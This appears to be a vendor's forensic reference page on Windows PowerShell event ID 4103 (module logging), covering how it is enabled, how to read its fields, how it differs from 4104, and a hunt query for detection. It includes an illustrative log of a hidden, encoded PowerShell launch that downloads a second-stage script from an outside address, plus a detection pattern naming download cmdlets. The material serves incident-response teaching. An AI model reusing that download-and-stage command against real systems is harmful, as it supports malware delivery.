Event ID 4103: PowerShell module logging

Event ID 4103 is PowerShell's module logging event, written to the Microsoft-Windows-PowerShell/Operational log as commands execute, with each command's name, its parameter values as bound at run time, and the user and host application that ran it.

Microsoft-Windows-PowerShell/Operational logPowerShellChecked 2 December 2026

What event 4103 records

Windows PowerShell has two complementary logging features. Script block logging (4104) records the code PowerShell compiles. Module logging, which writes 4103, records what actually executed: for each command in the pipeline, a CommandInvocation line with the command name and ParameterBinding lines with the values each parameter received. Each event also carries a context block with the user, the host application (powershell.exe, a script host, or a process hosting PowerShell), the script name if there was one, and sequence numbers.

The difference matters with obfuscated code. A script block may build a URL out of fragments or decode it at run time; 4104 shows the fragments, while 4103 shows the finished value that was passed to Invoke-WebRequest or New-Object. Older Windows PowerShell versions write a similar record, event 800, to the classic "Windows PowerShell" log.

Enabling module logging

Module logging is off by default. It is enabled through Group Policy at Computer Configuration › Administrative Templates › Windows Components › Windows PowerShell › Turn on Module Logging, with a list of module names to log; * logs all modules. The setting is stored under HKLM\SOFTWARE\Policies\Microsoft\Windows\PowerShell\ModuleLogging (EnableModuleLogging, with the names in a ModuleNames subkey). PowerShell 7 reads the same policy, or its own powershell.config.json settings, and writes to its own PowerShellCore/Operational log.

Logging every module is noisy: a single script can produce hundreds of 4103 events, each with a full context block. Raise the size of the PowerShell operational log, or forward it, if module logging is on for all modules. On a collected host, the registry value above tells you whether 4103 should exist at all.

Reading a 4103 event

An illustrative event (not from a case) for a download command run inside an obfuscated script:

CommandInvocation(Invoke-WebRequest): "Invoke-WebRequest"
ParameterBinding(Invoke-WebRequest): name="Uri"; value="http://198.51.100.7/stage2.ps1"
ParameterBinding(Invoke-WebRequest): name="OutFile"; value="C:\Users\Public\s.ps1"
ParameterBinding(Invoke-WebRequest): name="UseBasicParsing"; value="True"

Context:
        Host Application = powershell.exe -nop -w hidden -enc SQBFAFgA...
        User = CORP\jsmith
        Script Name =
        Sequence Number = 41

Read it from the context upward. Host Application shows how PowerShell was started, here a hidden window with an encoded command, which already rules out most administration. User is the account. Then the payload: the command name and every bound parameter, with the final values. The URL and output path are indicators to search for in proxy logs, the USN Journal and on other hosts, and the Sequence Number orders the commands of one session even when several run in the same second.

4103 vs 4104

4103 Module logging4104 Script block logging
RecordsCommands as executed, with parameter valuesThe code as compiled
ObfuscationShows final values passed to commandsShows decoded code, but values built at run time may still be fragments
DefaultOffOff, except blocks Windows flags as suspicious
VolumeHigh, one event per command (or batch)Moderate, one event per script block
Best forWhat a command actually didWhat a script was

Read them together: 4104 shows the attacker's script, 4103 shows each call it made with the real arguments, and both are written by the same PowerShell process, so they line up in a timeline.

Event 4103 fields

The fields an investigator reads first, what they mean, and where Arcsentry stores them.

FieldMeaningArcsentry field
Context: User, Host Application, Host IDWho ran PowerShell and in which process.event_log_powershell_context_info
Payload: CommandInvocationEach command that executed.process_command_line
Payload: ParameterBindingEach parameter name and the value it received.process_command_line

The event stores its detail as two text blocks, ContextInfo and Payload, which Arcsentry exposes as event_log_powershell_context_info and process_command_line for searching.

What event 4103 proves, and what it does not

It shows

  • That this command ran with these parameter values, under this user and host process, at this time.

It does not show

  • Anything when module logging was off, which is the default.
  • The full script it came from; use 4104 for that.
  • Commands in modules not on the logging list, when the list is not *.

Attacker activity it reveals

Downloads and execution

Invoke-WebRequest, Invoke-RestMethod or Net.WebClient calls with the real URL bound as a parameter, even when the script assembled it from pieces. MITRE ATT&CK T1059.001

Staging and exfiltration

Compress-Archive with source and destination paths, followed by an upload command with the archive and URL. MITRE ATT&CK T1560

Clean-up

Remove-Item on tools, archives and the PSReadLine history file, with the exact paths. MITRE ATT&CK T1070.004

Finding event 4103 in Arcsentry

Arcsentry parses every channel in Windows\System32\winevt\Logs, whether it comes from an Arcsentry Collector archive, a KAPE or Velociraptor collection, or a disk image. Microsoft-Windows-PowerShell/Operational log records are the event type evtx_microsoft_windows_powershell_operational. In Hunt, with that event type selected:

filter event_code == "4103"
derive {p = process_command_line}
filter p ~= "(?i)Invoke-WebRequest|Invoke-RestMethod|DownloadString|DownloadFile|Compress-Archive|Remove-Item"
select {timestamp, p}
sort {timestamp}

Module logging records of downloads, archiving and deletions, with the parameter values that were actually used.

Or ask in plain English, for example "show event 4103 on every host, oldest first", and Arcsentry shows the AQL it wrote before it runs. The AQL reference lists the operators used here, and the AI investigator reads the same events, citing each one by its event ID when it reports a finding.

Related event IDs

All events by investigation question: Windows security event IDs for incident response. Logon types in full: Windows logon types. The log files themselves: Windows event logs.

Frequently asked

What is event ID 4103?

The PowerShell module logging event in the Microsoft-Windows-PowerShell/Operational log. It records each command executed, with its parameter values, the user and the host application.

What is the difference between event ID 4103 and 4104?

4104 records the script block code as compiled. 4103 records the commands as they executed, with the actual parameter values, which shows the result of any run-time decoding.

Why is event 4103 not logged?

Module logging is off by default. It must be enabled by Group Policy or registry for the modules you want, and the PowerShell operational log must be large enough not to roll over. Check the ModuleLogging policy key on the host.

How do I enable event ID 4103?

Enable the Group Policy setting "Turn on Module Logging" under Windows Components › Windows PowerShell and list the modules to log, or * for all.

Sources

  • Microsoft Learn: about_Logging_Windows; about_PowerShell_Config (module logging settings)
  • Microsoft: Windows PowerShell Group Policy settings (Turn on Module Logging)
  • MITRE ATT&CK: T1059.001 PowerShell

Checked 2 December 2026 by Venema Labs against Microsoft's audit documentation and, where an example is shown, the named lab case. Field availability varies by Windows version.

Find event 4103 across every host in minutes.

Load your collections, ask what happened, and check every finding against the event behind it. Free for 7 days.

Request a trial